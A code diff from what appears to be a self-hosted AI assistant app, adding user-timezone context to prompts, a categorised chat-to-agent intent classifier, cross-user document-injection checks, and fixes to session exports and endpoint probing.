from pydantic import BaseModel
from sqlalchemy import or_, and_
from dateutil.rrule import rrulestr, rruleset
from dateutil.rrule import DAILY, WEEKLY, MONTHLY, YEARLY
from dateutil.rrule import rrulestr
from core.database import SessionLocal, CalendarCal, CalendarEvent
from src.auth_helpers import get_current_user, require_user
from src.auth_helpers import require_user
from src.upload_limits import read_upload_limited
logger = logging.getLogger(__name__)
@@ -162,26 +161,18 @@ def _ensure_default_calendar(db, owner: str = None) -> CalendarCal:
return cal
# Per-request user UTC offset (in minutes east of UTC). chat_routes sets this
# from the `X-Tz-Offset` header so naive natural-language times the LLM
# emits ("today at 9pm") are parsed in the USER's timezone, not the server's
# clock. None = unknown, fall back to legacy server-local behavior.
from contextvars import ContextVar
_USER_TZ_OFFSET_MIN: ContextVar = ContextVar("user_tz_offset_min", default=None)
def set_user_tz_offset(offset_min):
"""Set the current user's UTC offset for this async context."""
try:
v = int(offset_min)
except (TypeError, ValueError):
return
_USER_TZ_OFFSET_MIN.set(v)
def get_user_tz_offset():
"""Read the current user's UTC offset (minutes east of UTC), or None."""
return _USER_TZ_OFFSET_MIN.get()
# Per-request user time context. chat_routes sets this from browser timezone
# headers so natural-language times the LLM emits ("today at 9pm") are parsed
# in the user's timezone, not the server's clock. None = unknown, fall back to
# legacy server-local behavior.
from src.user_time import (
get_user_tz_name,
get_user_tz_offset,
now_user_local,
set_user_tz_name,
set_user_tz_offset,
user_timezone,
)
def parse_due_for_user(s: str) -> str:
@@ -200,6 +191,7 @@ def parse_due_for_user(s: str) -> str:
"""
from datetime import timezone as _tz, timedelta as _td
offset = get_user_tz_offset()
tz_name = get_user_tz_name()
s = (s or "").strip()
if not s:
return s
@@ -213,11 +205,11 @@ def parse_due_for_user(s: str) -> str:
except ValueError:
parsed = None
if offset is None:
if offset is None and not tz_name:
# No user tz known — preserve legacy behavior (naive server-local).
return _parse_dt(s).isoformat()
user_tz = _tz(_td(minutes=offset))
user_tz = user_timezone()
# Naive ISO → tag with user tz.
if parsed is not None and parsed.tzinfo is None:
@@ -225,7 +217,7 @@ def parse_due_for_user(s: str) -> str:
# Natural language — evaluate against user's "now".
server_now_utc = datetime.now(_tz.utc)
user_now = server_now_utc.astimezone(user_tz)
user_now = now_user_local(server_now_utc)
# Patch datetime.now() inside _parse_dt by leveraging the user's clock:
# we re-implement the small natural-language phrases here against user_now
# so the result is naturally in the user's tz.
@@ -233,6 +225,7 @@ def parse_due_for_user(s: str) -> str:
lower = s.lower().strip()
def _parse_time(t):
t = _re.sub(r'\b([ap])\s*\.?\s*m\.?\b', r'\1m', t.strip(), flags=_re.IGNORECASE)
m = _re.match(r'^\s*(\d{1,2})(?::(\d{2}))?\s*(am|pm)?\s*$', t, _re.IGNORECASE)
if not m: return None
h = int(m.group(1)); mn = int(m.group(2) or 0); ampm = (m.group(3) or "").lower()
@@ -342,6 +335,7 @@ def _parse_dt(s: str) -> datetime:
def _parse_time(t: str):
"""Return (hour, minute) from '1pm', '1:30 PM', '13:00', etc., or None."""
t = _re.sub(r'\b([ap])\s*\.?\s*m\.?\b', r'\1m', t.strip(), flags=_re.IGNORECASE)
m = _re.match(r'^\s*(\d{1,2})(?::(\d{2}))?\s*(am|pm)?\s*$', t, _re.IGNORECASE)
if not m:
return None
@@ -1211,7 +1205,20 @@ def setup_calendar_routes() -> APIRouter:
text = (body.get("text") or "").strip()
if not text:
raise HTTPException(400, "text is required")
from src.user_time import (
clear_user_time_context,
current_datetime_prompt,
now_user_local,
set_user_tz_name,
set_user_tz_offset,
)
clear_user_time_context()
tz_hint = (body.get("tz") or "").strip()
if body.get("tz_offset") is not None:
set_user_tz_offset(body.get("tz_offset"))
if tz_hint:
set_user_tz_name(tz_hint)
url, model, headers = resolve_endpoint("utility")
if not url:
@@ -1219,15 +1226,15 @@ def setup_calendar_routes() -> APIRouter:
if not url or not model:
return {"ok": False, "error": "No LLM endpoint configured"}
now = datetime.now()
now = now_user_local()
now_iso = now.strftime("%Y-%m-%dT%H:%M:%S")
# The model gets only the schema it needs to fill out; we re-validate
# everything client-side too.
system_prompt = (
"You are a calendar event parser. Read the user's one-line "
current_datetime_prompt()
+ "You are a calendar event parser. Read the user's one-line "
"description and emit STRICT JSON describing the event. "
f"Today is {now.strftime('%A, %Y-%m-%d')} ({now_iso}). "
+ (f"User timezone: {tz_hint}. " if tz_hint else "")
f"The current user-local timestamp is {now_iso}. "
+ "Resolve relative dates (\"tomorrow\", \"friday\", \"next monday\", "
"\"in 30 minutes\") against today. Default duration is 60 minutes "
"when no end time is given. If the text mentions a date with no "
+49 -14
View File
@@ -37,7 +37,7 @@ from routes.chat_helpers import (
clean_thinking_for_save,
_enforce_chat_privileges,
)
from src.action_intents import message_needs_tools as _message_needs_tools
from src.action_intents import classify_tool_intent as _classify_tool_intent
logger = logging.getLogger(__name__)
@@ -229,6 +229,26 @@ def _recover_empty_session_model(sess, session_id: str, owner: str | None = None
db.close()
def _set_user_time_from_request(request: Request) -> None:
"""Copy browser timezone headers into the per-request context.
This is intentionally ephemeral: it is used only while building prompts
and running tools for this request. It is not persisted or logged.
"""
try:
tz_offset = request.headers.get("x-tz-offset")
tz_name = request.headers.get("x-tz-name")
from src.user_time import clear_user_time_context, set_user_tz_name, set_user_tz_offset
clear_user_time_context()
if tz_offset is not None:
set_user_tz_offset(tz_offset)
if tz_name:
set_user_tz_name(tz_name)
except Exception:
pass
def setup_chat_routes(
session_manager,
chat_handler,
@@ -247,6 +267,8 @@ def setup_chat_routes(
# ------------------------------------------------------------------ #
@router.post("/api/chat", response_model=Dict[str, str])
async def chat_endpoint(request: Request, chat_request: ChatRequest) -> Dict[str, str]:
_set_user_time_from_request(request)
message = chat_request.message
session = chat_request.session
att_ids = chat_request.attachments or []
@@ -355,16 +377,7 @@ def setup_chat_routes(
except Exception as e:
raise HTTPException(400, f"Request parsing error: {e}")
# Stash the user's UTC offset (in minutes east of UTC) from the
# frontend so tools like manage_notes interpret natural-language
# times in the USER's tz, not the server's. See calendar_routes.
try:
_tz_hdr = request.headers.get("x-tz-offset")
if _tz_hdr is not None:
from routes.calendar_routes import set_user_tz_offset
set_user_tz_offset(_tz_hdr)
except Exception:
pass
_set_user_time_from_request(request)
form_data = await request.form()
message = form_data.get("message")
@@ -393,10 +406,15 @@ def setup_chat_routes(
# its way through a plain chat request (and fail, especially with the
# shell disabled).
auto_escalated = False
if chat_mode == "chat" and isinstance(message, str) and _message_needs_tools(message):
_tool_intent = _classify_tool_intent(message) if isinstance(message, str) else None
if chat_mode == "chat" and _tool_intent and _tool_intent.needs_tools:
chat_mode = "agent"
auto_escalated = True
logger.info("chat→agent auto-escalation: message matched tool-intent pattern")
logger.info(
"chat→agent auto-escalation: category=%s reason=%s",
_tool_intent.category,
_tool_intent.reason,
)
active_doc_id = form_data.get("active_doc_id", "").strip()
logger.info(f"[doc-inject] chat_mode={chat_mode}, active_doc_id={active_doc_id!r}")
@@ -507,7 +525,24 @@ def setup_chat_routes(
_doc_q = _doc_db.query(DBDocument).filter(DBDocument.id == active_doc_id)
active_doc = _owner_session_filter(_doc_q, ctx.user).first()
if active_doc:
logger.info(f"[doc-inject] found by ID: title={active_doc.title!r}, lang={active_doc.language!r}, is_active={active_doc.is_active}, content_len={len(active_doc.current_content or '')}")
doc_session = active_doc.session_id
doc_owner = getattr(active_doc, "owner", None)
if doc_owner and ctx.user and doc_owner != ctx.user:
logger.warning(
"[doc-inject] ignoring active_doc_id %s owned by another user",
active_doc_id,
)
active_doc = None
elif doc_session and doc_session != session:
logger.warning(
"[doc-inject] ignoring stale active_doc_id %s from session %s while in session %s",
active_doc_id,
doc_session,
session,
)
active_doc = None
else:
logger.info(f"[doc-inject] found by ID: title={active_doc.title!r}, lang={active_doc.language!r}, is_active={active_doc.is_active}, content_len={len(active_doc.current_content or '')}")
else:
logger.warning(f"[doc-inject] NOT FOUND by ID {active_doc_id}")
if not active_doc:
+8 -7
View File
@@ -17,6 +17,7 @@ from fastapi.responses import StreamingResponse
from core.database import SessionLocal, ModelEndpoint, Session as DbSession
from core.middleware import require_admin
from src.llm_core import _detect_provider, _host_match, ANTHROPIC_MODELS
from src.tls_overrides import llm_verify
from src.settings import load_settings as _load_settings, save_settings as _save_settings
from src.endpoint_resolver import (
normalize_base as _normalize_base,
@@ -624,7 +625,7 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis
if api_key:
headers["x-api-key"] = api_key
try:
r = httpx.get(url, headers=headers, timeout=timeout)
r = httpx.get(url, headers=headers, timeout=timeout, verify=llm_verify())
r.raise_for_status()
data = r.json()
models = [m.get("id") for m in (data.get("data") or []) if m.get("id")]
@@ -645,7 +646,7 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis
url = build_models_url(base)
headers = build_headers(api_key, base)
try:
r = httpx.get(url, headers=headers, timeout=timeout)
r = httpx.get(url, headers=headers, timeout=timeout, verify=llm_verify())
r.raise_for_status()
data = r.json()
# OpenAI format: {"data": [{"id": "model-name"}]}
@@ -680,7 +681,7 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis
parsed = urlparse(base)
if parsed.port == 11434 or "ollama" in (parsed.hostname or "").lower():
root = base[:-3].rstrip("/") if base.endswith("/v1") else base
r = httpx.get(root + "/api/tags", timeout=timeout)
r = httpx.get(root + "/api/tags", timeout=timeout, verify=llm_verify())
r.raise_for_status()
data = r.json()
models = [m.get("name") or m.get("model") for m in (data.get("models") or []) if m.get("name") or m.get("model")]
@@ -741,7 +742,7 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
break
for path in ("/api/version", "/api/tags"):
try:
r = httpx.get(root + path, timeout=timeout)
r = httpx.get(root + path, timeout=timeout, verify=llm_verify())
result = _result_from_response(r)
if result["reachable"]:
return result
@@ -752,7 +753,7 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
pass
try:
r = httpx.get(base, headers=headers, timeout=timeout)
r = httpx.get(base, headers=headers, timeout=timeout, verify=llm_verify())
return _result_from_response(r)
except Exception as e:
last_error = str(e)[:120]
@@ -993,8 +994,8 @@ def setup_model_routes(model_discovery):
db.close()
if changed:
_invalidate_models_cache()
except Exception:
pass
except Exception as e:
logger.warning('Background endpoint refresh failed: %s', e)
finally:
for st in _refresh_state.values():
st["inflight"] = False
+36 -5
View File
@@ -37,6 +37,26 @@ def _public_model(name: str, model: str) -> str:
return model
def _content_to_text(content) -> str:
"""Flatten a message's content to plain text for text-based exports.
History entries carry three shapes: a plain string, a multimodal list of
content blocks (vision/image attachments), or None (assistant turns that
persisted only native tool_calls). The txt/html/md exporters join and
string-munge this value, so a list crashed the export (TypeError on join,
AttributeError on .replace) and None rendered as the literal "None".
Coerce to the text blocks, returning "" for anything without text.
"""
if isinstance(content, str):
return content
if isinstance(content, list):
return "\n".join(
b.get("text", "") for b in content
if isinstance(b, dict) and b.get("text")
)
return ""
def _verify_session_owner(request: Request, session_id: str, session_manager=None):
"""Verify the current user owns the session. Raises 404 if not.
@@ -74,7 +94,6 @@ logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api", tags=["sessions"])
def _current_user_is_admin(request: Request, user: str | None) -> bool:
if not user:
return False
@@ -122,6 +141,17 @@ def _persist_session_headers(session_id: str, headers: dict | None) -> None:
db.close()
_HIDDEN_SYSTEM_SESSION_NAMES = {
"[Task] Chat Sessions Tidy",
"[Task] Documents Tidy",
"[Task] Memory Tidy",
"[Task] Research Tidy",
"[Task] Email Mark Boundaries",
"[Task] Email Tags",
"[Task] Skills Audit",
}
def _pick_endpoint_for_sort(owner=None):
"""Pick model endpoint for auto-sort LLM call — uses utility endpoint setting, falls back to default."""
from src.endpoint_resolver import resolve_endpoint
@@ -245,7 +275,8 @@ def setup_session_routes(session_manager: SessionManager, config: dict, webhook_
"message_count": msg_count_map.get(s.id, 0)}
for s in user_sessions.values()
if not s.archived
and (s.name or "").strip() not in ("Nobody", "Incognito")]
and (s.name or "").strip() not in ("Nobody", "Incognito")
and (s.name or "").strip() not in _HIDDEN_SYSTEM_SESSION_NAMES]
return sessions
@@ -708,7 +739,7 @@ def setup_session_routes(session_manager: SessionManager, config: dict, webhook_
lines = []
for m in session.history:
lines.append(f"[{m.role.upper()}]")
lines.append(m.content)
lines.append(_content_to_text(m.content))
lines.append("")
out_name = filename or f"conversation_{safe_name}_{timestamp}.txt"
return Response(
@@ -731,7 +762,7 @@ def setup_session_routes(session_manager: SessionManager, config: dict, webhook_
]
for m in session.history:
cls = "user" if m.role == "user" else "ai"
content = m.content.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;")
content = _content_to_text(m.content).replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;")
content = content.replace("\n", "<br>")
html_parts.append(f'<div class="msg {cls}"><div class="role">{m.role}</div>{content}</div>')
html_parts.append("</body></html>")
@@ -750,7 +781,7 @@ def setup_session_routes(session_manager: SessionManager, config: dict, webhook_
markdown_lines.append("\n---\n")
for message in session.history:
role = message.role.upper()
content = message.content
content = _content_to_text(message.content)
markdown_lines.append(f"### {role}")
markdown_lines.append(f"{content}\n")
markdown_lines.append("---\n")
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -377,7 +377,7 @@ def analyze_model(model, system, target_quant=None, scoring_use_case=None, targe
# Multi-GPU filter: skip the row if the resolved quant is a GGUF tier
# (Q*/IQ-prefixed) — vLLM/SGLang can't serve those, so showing them on
# a 2+ GPU rig just clutters the list with unservable candidates.
if gpu_count >= 2 and quant_to_try and quant_to_try.upper().startswith(("Q2", "Q3", "Q4", "Q5", "Q6", "Q8", "IQ")):
if gpu_count >= 2 and quant_to_try and not target_quant and quant_to_try.upper().startswith(("Q2", "Q3", "Q4", "Q5", "Q6", "Q8", "IQ")):
return None
result = _try_quant_at(model, quant_to_try, ctx, effective_vram, 0 if native_gpu_only else eff_ram)
+83 -36
View File
@@ -8,74 +8,121 @@ user asks how a feature works.
from __future__ import annotations
import re
from dataclasses import dataclass
from typing import Iterable, Pattern
_ACTION_QUESTION = r"\b(?:can|could|would|will)\s+you\s+"
_PLEASE = r"^\s*(?:please\s+)?"
@dataclass(frozen=True)
class ToolIntent:
"""A cheap, deterministic chat-to-agent routing decision."""
_CALENDAR_ACTION = r"(?:add|create|schedule|book|put|set\s+up|make)"
needs_tools: bool
category: str = ""
reason: str = ""
_ACTION_QUESTION = r"\b(?:can|could|would|will)\s+you\s+"
_ACTION_FOLLOWUP = (
r"\b(?:you\s+should\s+be\s+able\s+to|"
r"(?:can|could|would|will|should)\s+you|"
r"you\s+(?:can|could|would|will|should|need\s+to|have\s+to))\s+"
)
_PLEASE = r"^\s*(?:(?:please|ok(?:ay)?|alright|right|sure|cool|great|thanks)[\s,.!-]+)*"
_CALENDAR_ACTION = (
r"(?:add|adding|create|creating|recreate|recreating|schedule|scheduling|"
r"reschedule|rescheduling|book|booking|put|set\s+up|make|making|"
r"delete|deleting|remove|removing|cancel|cancelling|canceling)"
)
_CALENDAR_THING = r"(?:calendar|calendar\s+(?:entry|item)|event|meeting|appointment|entry|call)"
_EXPLANATORY_PREFIX = re.compile(
r"^\s*(?:how\s+(?:do|can)\s+i|can\s+you\s+explain|what\s+about|tell\s+me\s+how|show\s+me\s+how)\b",
re.I,
)
_PANEL = (
r"(?:calendar|notes?|inbox|email|mail|documents?|docs|library|gallery|"
r"settings|cookbook|sessions?|chats?|skills|memories|memory|brain)"
)
_TOOL_INTENT_PATTERNS: tuple[Pattern[str], ...] = tuple(
re.compile(pattern, re.I)
for pattern in (
_ROUTING_PATTERNS: tuple[tuple[str, str, Pattern[str]], ...] = tuple(
(category, reason, re.compile(pattern, re.I))
for category, reason, pattern in (
# Calendar/event creation. Covers "Can you add an entry to my
# calendar?" and imperatives like "add lunch to my calendar".
rf"{_ACTION_QUESTION}{_CALENDAR_ACTION}\b.{{0,120}}\b{_CALENDAR_THING}\b",
rf"{_PLEASE}{_CALENDAR_ACTION}\b.{{0,120}}\b(?:to|on|in|into|for)\s+(?:my\s+|the\s+|this\s+)?calendar\b",
rf"{_PLEASE}{_CALENDAR_ACTION}\s+(?:a\s+|an\s+)?(?:calendar\s+)?(?:event|meeting|appointment|entry|item|call)\b",
r"\bput\s+.+\bon\s+(?:my\s+)?calendar\b",
# calendar?", imperatives like "add lunch to my calendar", and
# follow-ups such as "you should be able to create that event now".
("calendar", "assistant calendar action request", rf"{_ACTION_QUESTION}{_CALENDAR_ACTION}\b.{{0,120}}\b{_CALENDAR_THING}\b"),
("calendar", "calendar follow-up action request", rf"{_ACTION_FOLLOWUP}{_CALENDAR_ACTION}\b.{{0,120}}\b{_CALENDAR_THING}\b"),
("calendar", "calendar imperative action request", rf"{_PLEASE}{_CALENDAR_ACTION}\b.{{0,120}}\b{_CALENDAR_THING}\b"),
("calendar", "calendar target action request", rf"{_PLEASE}{_CALENDAR_ACTION}\b.{{0,120}}\b(?:to|on|in|into|for)\s+(?:my\s+|the\s+|this\s+)?calendar\b"),
("calendar", "calendar item action request", rf"{_PLEASE}{_CALENDAR_ACTION}\s+(?:it\s+)?(?:a\s+|an\s+)?(?:calendar\s+)?(?:event|meeting|appointment|entry|item|call)\b"),
("calendar", "calendar target action request", rf"\b{_CALENDAR_ACTION}\b.{{0,120}}\b(?:to|on|in|into|for)\s+(?:my\s+|the\s+|this\s+)?calendar\b"),
("calendar", "put item on calendar request", r"\bput\s+.+\bon\s+(?:my\s+)?calendar\b"),
# Notes, todos, checklists, and reminders.
r"\bremind\s+me\b",
rf"{_ACTION_QUESTION}(?:add|create|make|take|jot|write\s+down|set)\b.{{0,120}}\b(?:note|todo|task|checklist|reminder)\b",
rf"{_PLEASE}(?:add|create|make)\s+(?:a\s+|an\s+)?(?:todo|task|reminder|note|checklist)\b",
rf"{_PLEASE}(?:take|jot|write\s+down)\s+(?:a\s+|an\s+)?note\b",
rf"{_PLEASE}(?:add|jot|write\s+down)\b.{{0,120}}\b(?:to|in|into)\s+(?:my\s+|the\s+)?(?:todo(?:\s+list)?|task\s+list|notes?|checklist)\b",
rf"{_PLEASE}set\s+(?:a\s+)?reminder\b",
rf"{_ACTION_QUESTION}set\s+(?:a\s+)?reminder\b",
("notes", "reminder request", r"\bremind\s+me\b"),
("notes", "assistant note/todo action request", rf"{_ACTION_QUESTION}(?:add|create|make|take|jot|write\s+down|set)\b.{{0,120}}\b(?:note|todo|task|checklist|reminder)\b"),
("notes", "note/todo imperative request", rf"{_PLEASE}(?:add|create|make)\s+(?:a\s+|an\s+)?(?:todo|task|reminder|note|checklist)\b"),
("notes", "take note request", rf"{_PLEASE}(?:take|jot|write\s+down)\s+(?:a\s+|an\s+)?note\b"),
("notes", "add item to notes/todo request", rf"{_PLEASE}(?:add|jot|write\s+down)\b.{{0,120}}\b(?:to|in|into)\s+(?:my\s+|the\s+)?(?:todo(?:\s+list)?|task\s+list|notes?|checklist)\b"),
("notes", "set reminder request", rf"{_PLEASE}set\s+(?:a\s+)?reminder\b"),
("notes", "assistant reminder request", rf"{_ACTION_QUESTION}set\s+(?:a\s+)?reminder\b"),
# Email actions.
rf"{_ACTION_QUESTION}(?:send|write|reply|email|message|archive|delete|mark)\b.{{0,120}}\b(?:emails?|mail|messages?|inbox|unread|read)\b",
rf"{_PLEASE}(?:send|write|reply)\b.{{0,120}}\b(?:emails?|mail|messages?)\b",
rf"{_PLEASE}(?:archive|delete|mark)\b.{{0,120}}\b(?:emails?|mail|messages?|inbox)\b",
r"\b(?:send|write|reply)\s+(?:an?\s+)?(?:email|message|mail)\b",
r"\bemail\s+\w+\b",
r"\bcheck\s+(?:my\s+)?(?:email|inbox|mail)\b",
r"\bunread\s+(?:email|mail)s?\b",
("email", "assistant email action request", rf"{_ACTION_QUESTION}(?:send|write|reply|email|message|archive|delete|mark)\b.{{0,120}}\b(?:emails?|mail|messages?|inbox|unread|read)\b"),
("email", "send/write/reply email request", rf"{_PLEASE}(?:send|write|reply)\b.{{0,120}}\b(?:emails?|mail|messages?)\b"),
("email", "archive/delete/mark email request", rf"{_PLEASE}(?:archive|delete|mark)\b.{{0,120}}\b(?:emails?|mail|messages?|inbox)\b"),
("email", "email composition request", r"\b(?:send|write|reply)\s+(?:an?\s+)?(?:email|message|mail)\b"),
("email", "email contact request", r"\bemail\s+\w+\b"),
("email", "check inbox request", r"\bcheck\s+(?:my\s+)?(?:email|inbox|mail)\b"),
("email", "unread email request", r"\bunread\s+(?:email|mail)s?\b"),
# UI/control-plane actions that should open panels or flip toggles.
rf"{_PLEASE}(?:open|show|bring\s+up)\s+(?:me\s+)?(?:my\s+|the\s+)?{_PANEL}\b",
r"\b(?:disable|enable|turn\s+(?:on|off))\s+(?:the\s+)?(?:shell|search|web|browser|documents?|memory|skills|images?|calendar|email|mail|research|incognito)\b",
("ui", "open/show panel request", rf"{_PLEASE}(?:open|show|bring\s+up)\s+(?:me\s+)?(?:my\s+|the\s+)?{_PANEL}\b"),
("ui", "tool or feature toggle request", r"\b(?:disable|enable|turn\s+(?:on|off))\s+(?:the\s+)?(?:shell|search|web|browser|documents?|memory|skills|images?|calendar|email|mail|research|incognito)\b"),
# Deep research jobs, not quick conceptual mentions of research.
rf"{_PLEASE}(?:research|deep\s+dive|look\s+into|investigate)\s+.+",
rf"{_ACTION_QUESTION}(?:research|do\s+research|deep\s+dive|look\s+into|investigate)\s+.+",
("research", "deep research imperative request", rf"{_PLEASE}(?:research|deep\s+dive|look\s+into|investigate)\s+.+"),
("research", "assistant deep research request", rf"{_ACTION_QUESTION}(?:research|do\s+research|deep\s+dive|look\s+into|investigate)\s+.+"),
# Shell / remote-host intent.
r"\bssh\s+(?:in)?to\b",
r"\bssh\s+\w+",
r"\b(run|execute)\s+.{1,40}\bon\s+\w+",
r"\b(can|could|please|would)\s+you\s+(run|execute|exec)\b",
("shell", "ssh request", r"\bssh\s+(?:in)?to\b"),
("shell", "ssh target request", r"\bssh\s+\w+"),
("shell", "remote command request", r"\b(run|execute)\s+.{1,40}\bon\s+\w+"),
("shell", "assistant command execution request", r"\b(can|could|please|would)\s+you\s+(run|execute|exec)\b"),
# Shell verbs only count in imperative position (start of message,
# optionally after "please") or as a "can you ..." request. A bare
# word match promoted informational questions ("What does the grep
# command do?") and incidental uses ("My cat ate my homework").
rf"{_PLEASE}(deploy|build|install|restart|reboot|kill|tail|grep|cat|ls|cd|cp|mv|rm)\b\s+\S+",
rf"{_ACTION_QUESTION}(deploy|build|install|restart|reboot|kill|tail|grep|cat|ls|cd|cp|mv|rm)\b\s+\S+",
r"\b(check|see)\s+(if|whether|what)\s+.{1,40}\b(running|process|service|port|file|exists?)\b",
("shell", "imperative shell command request", rf"{_PLEASE}(deploy|build|install|restart|reboot|kill|tail|grep|cat|ls|cd|cp|mv|rm)\b\s+\S+"),
("shell", "assistant shell command request", rf"{_ACTION_QUESTION}(deploy|build|install|restart|reboot|kill|tail|grep|cat|ls|cd|cp|mv|rm)\b\s+\S+"),
("shell", "system/file check request", r"\b(check|see)\s+(if|whether|what)\s+.{1,40}\b(running|process|service|port|file|exists?)\b"),
)
)
_TOOL_INTENT_PATTERNS: tuple[Pattern[str], ...] = tuple(
pattern for _, _, pattern in _ROUTING_PATTERNS
)
def classify_tool_intent(text: str) -> ToolIntent:
"""Classify whether a chat message should be promoted to agent mode."""
if not text:
return ToolIntent(False, reason="empty message")
if _EXPLANATORY_PREFIX.search(text):
return ToolIntent(False, reason="explanatory feature question")
for category, reason, pattern in _ROUTING_PATTERNS:
if pattern.search(text):
return ToolIntent(True, category=category, reason=reason)
return ToolIntent(False, reason="no tool-action pattern matched")
def message_needs_tools(text: str, patterns: Iterable[Pattern[str]] = _TOOL_INTENT_PATTERNS) -> bool:
"""Return True when a plain chat message should be promoted to agent mode."""
if not text:
return False
if _EXPLANATORY_PREFIX.search(text):
return False
if patterns is _TOOL_INTENT_PATTERNS:
return classify_tool_intent(text).needs_tools
return any(pattern.search(text) for pattern in patterns)
+61 -32
View File
@@ -13,6 +13,7 @@ import re
import time
import logging
from typing import AsyncGenerator, List, Dict, Optional, Set
from urllib.parse import urlparse
from src.llm_core import stream_llm, stream_llm_with_fallback, _is_ollama_native_url
from src.model_context import estimate_tokens
@@ -374,7 +375,8 @@ def get_builtin_overrides() -> dict:
from src.settings import get_setting
ov = get_setting("builtin_tool_overrides", {})
return ov if isinstance(ov, dict) else {}
except Exception:
except Exception as e:
logger.warning('Failed to load builtin tool overrides: %s', e)
return {}
@@ -475,6 +477,45 @@ _ADMIN_SCHEMA_NAMES = frozenset([
])
_TOOL_SELECTION_TIMEOUT_SECONDS = 1.5
def _is_ollama_openai_compat_url(endpoint_url: str) -> bool:
"""Return True for local Ollama's OpenAI-compatible /v1 surface.
Ollama's /v1 endpoint accepts the OpenAI chat shape, but model-level tool
streaming is uneven. Some local models terminate after a token when schemas
are present. Keep native schemas opt-in via ModelEndpoint.supports_tools.
"""
try:
parsed = urlparse(endpoint_url or "")
except Exception:
return False
path = (parsed.path or "").rstrip("/")
return parsed.port == 11434 and (path == "/v1" or path.startswith("/v1/"))
def _endpoint_lookup_keys(endpoint_url: str) -> List[str]:
"""Candidate ModelEndpoint.base_url keys for a runtime chat URL."""
raw = (endpoint_url or "").strip()
keys: List[str] = []
def add(value: str):
value = (value or "").strip()
if value and value not in keys:
keys.append(value)
trimmed = value.rstrip("/")
if trimmed and trimmed not in keys:
keys.append(trimmed)
if trimmed and f"{trimmed}/" not in keys:
keys.append(f"{trimmed}/")
add(raw)
try:
from src.endpoint_resolver import normalize_base
add(normalize_base(raw))
except Exception:
pass
return keys
# Admin tool keywords — if the last user message contains any of these, include admin tools
_ADMIN_KEYWORDS = [
"session", "sessions", "chat", "chats", "conversation", "conversations",
@@ -571,8 +612,7 @@ def _build_system_prompt(
# Skill index is user-editable (name + description), so it must never
# live in the trusted system role and is NOT cached. Always recompute
# when the cache hits.
from src.agent_loop import _build_base_prompt as _bbp_recompute
_, _skill_index_block = _bbp_recompute(
_, _skill_index_block = _build_base_prompt(
disabled_tools, mcp_mgr, needs_admin, relevant_tools,
mcp_disabled_map=mcp_disabled_map, compact=compact,
)
@@ -596,28 +636,11 @@ def _build_system_prompt(
set_active_model(model)
# Current date/time — every request. Models default to their
# training-cutoff date when "today" is asked otherwise (was
# rendering April 2026 dates as "today" when the actual date is
# May 19, 2026). System TZ-local so calendar/email date math
# matches what the user sees.
# Current date/time for every agent request. This is user-local when the
# browser provided timezone headers, with a server-local fallback.
try:
from datetime import datetime as _dt, timezone as _tz
_now = _dt.now().astimezone()
_utc = _dt.now(_tz.utc)
_off = _now.strftime('%z') # e.g. +0900
_off_fmt = (f"{_off[:3]}:{_off[3:]}" if _off else "+00:00")
agent_prompt = (
f"## Current date and time\n"
f"Today is {_now.strftime('%A, %B %-d, %Y')} ({_now.strftime('%Y-%m-%d')}). "
f"Local time is {_now.strftime('%-I:%M %p')} ({_now.strftime('%Z')}, UTC{_off_fmt}); "
f"current UTC time is {_utc.strftime('%H:%M')}. "
f"Use this for any 'today'/'tomorrow'/'this week' reasoning — do NOT "
f"infer the date from training data or from event timestamps.\n"
f"When scheduling a task (manage_tasks), scheduled_time is in UTC: "
f"subtract the offset above from the user's local time "
f"(local {_now.strftime('%H:%M')} = {_utc.strftime('%H:%M')} UTC right now).\n\n"
) + agent_prompt
from src.user_time import current_datetime_prompt
agent_prompt = current_datetime_prompt() + agent_prompt
except Exception:
pass
@@ -1456,18 +1479,18 @@ async def stream_agent_loop(
_model_lc = (model or "").lower()
# Step 1: per-endpoint override (set at registration time from the
# serve command — `--enable-auto-tool-choice` flips it on. UI can
# also toggle per endpoint). NULL = unknown, fall through to the
# keyword heuristic + host check.
# also toggle per endpoint). NULL = unknown; for local Ollama /v1 we
# default to fenced tools, otherwise fall through to keyword + host checks.
_endpoint_supports: Optional[bool] = None
try:
from core.database import SessionLocal as _SL, ModelEndpoint as _ME
_db = _SL()
try:
_ep = _db.query(_ME).filter(_ME.base_url == endpoint_url).first()
if not _ep and endpoint_url:
_u = endpoint_url.rstrip("/")
_ep = _db.query(_ME).filter(_ME.base_url == _u).first() or \
_db.query(_ME).filter(_ME.base_url == _u + "/").first()
_ep = None
for _key in _endpoint_lookup_keys(endpoint_url):
_ep = _db.query(_ME).filter(_ME.base_url == _key).first()
if _ep is not None:
break
if _ep is not None:
_endpoint_supports = _ep.supports_tools
finally:
@@ -1503,9 +1526,15 @@ async def stream_agent_loop(
# (via the endpoint settings toggle), treat Ollama-native as text-only so
# the fenced-block path is used instead of native function calling.
_is_ollama_native = _is_ollama_native_url(endpoint_url or "")
_ollama_openai_compat = _is_ollama_openai_compat_url(endpoint_url or "")
if _endpoint_supports is True:
_is_api_model = True
elif _endpoint_supports is False or _model_no_tools or _is_ollama_native:
elif (
_endpoint_supports is False
or _model_no_tools
or _is_ollama_native
or _ollama_openai_compat
):
_is_api_model = False
else:
_is_api_model = any(h in endpoint_url for h in _API_HOSTS) or _model_supports_tools
+5 -2
View File
@@ -38,13 +38,16 @@ class TaskDeferred(BaseException):
async def action_tidy_sessions(owner: str, **kwargs) -> Tuple[str, bool]:
"""Delete empty/throwaway sessions for the owner. Pure heuristic —
"""Delete empty sessions for the owner. Pure heuristic —
the LLM folder-sort phase is skipped (user opted to keep this task
LLM-free; sorting can be triggered manually via the Chats UI)."""
try:
import asyncio
from src.session_actions import run_auto_sort
result = await asyncio.wait_for(run_auto_sort(owner, skip_llm=True), timeout=60)
result = await asyncio.wait_for(
run_auto_sort(owner, skip_llm=True, delete_throwaway=False),
timeout=60,
)
return result, True
except asyncio.TimeoutError:
logger.error("tidy_sessions action timed out")
+9
View File
